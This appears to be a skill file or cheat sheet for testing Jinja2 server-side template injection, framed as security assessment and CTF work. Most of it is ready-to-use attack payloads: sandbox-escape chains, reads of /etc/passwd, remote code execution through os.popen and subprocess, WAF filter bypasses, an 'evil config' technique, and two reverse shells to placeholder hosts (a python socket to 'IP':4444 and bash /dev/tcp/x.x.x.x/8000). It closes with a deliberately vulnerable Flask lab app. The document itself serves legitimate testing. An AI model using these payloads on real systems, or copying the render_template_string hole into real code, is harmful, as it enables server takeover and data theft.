Jinja2 SSTI Testing Skill
A comprehensive guide for testing Jinja2 Server-Side Template Injection vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing Flask applications for template injection vulnerabilities
- Needing to generate SSTI payloads for security assessments
- Attempting to escape Jinja2 sandbox restrictions
- Bypassing WAF filters on template injection points
- Enumerating available objects in a template context
- Converting SSTI to RCE (Remote Code Execution)
Quick Start
1. Identify SSTI Vulnerability
Test for SSTI with basic payloads:
# Basic detection
{{7*7}}
{{7*7}}
{{config}}
{{request}}
{% debug %}
If the application renders these as 49 or shows object data, SSTI is likely present.
2. Access Global Objects
These objects are always accessible from the sandboxed environment:
[]
''
()
dict
config
request
3. Escape the Sandbox
Recover <class 'object'> to access __subclasses__():
# Access class object
[].__class__
''.__class__
request.__class__
config.__class__
dict
# Access object class
dict.__base__
dict.mro()[-1]
(dict|attr("__mro__"))[-1]
# Call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("__subclasses__"))() }}
4. Read Files
# File class is typically at index 40
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/flag.txt').read() }}
5. Execute Commands (RCE)
# subprocess.Popen is typically at index 396
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without guessing class index - iterate through subclasses
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
# Reverse shell
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'" ).read()}}{%endif%}{% endfor %}
Filter Bypasses
Access Attributes Without Special Characters
# Without quotes, _, [, ]
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join)
# Using request object options
request|attr(request.headers.c) # Send header: c: __class__
request|attr(request.args.c) # Send param: ?c=__class__
request|attr(request.query_string[2:16].decode())
# Format string from params
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Avoid HTML Encoding
# Default HTML encoding
{{'<script>alert(1);</script>'}}
# Becomes: <script>alert(1);</script>
# Use safe filter
{{'<script>alert(1);</script>'|safe}}
# Becomes: <script>alert(1);</script>
RCE Without <class 'object'>
Access __globals__.__builtins__ from function objects:
# Find functions in global objects
{{ request.__class__.__dict__ }}
{{ config.__class__.__dict__ }}
# Read file via builtins
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE via builtins
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
# Using import_string
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
Advanced Bypasses
Without {{ . [ ] }} _
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
Evil Config File Technique
# Write evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# Load the config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# Execute command
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Testing Workflow
- Detection: Test with
{{7*7}}or{% debug %} - Enumeration: Dump
{{ config }}or{% for key, value in config.items() %}{{ key }}: {{ value }}{% endfor %} - Sandbox Escape: Use
__class__.__mro__[-1].__subclasses__() - File Access: Find File class (index ~40) and read/write
- RCE: Find subprocess.Popen (index ~396) or use
__builtins__ - Bypass: Apply filter bypasses if WAF is present
Tools
- Fenjing: Automated SSTI testing tool
python -m fenjing scan --url 'http://target/' python -m fenjing crack --url 'http://target/' --method GET --inputs name
References
Lab Environment
Test your payloads against this vulnerable Flask app:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send something inside the param 'c'!"
if __name__ == "__main__":
app.run()
Run locally and test: curl "http://localhost:5000/?c={{7*7}}"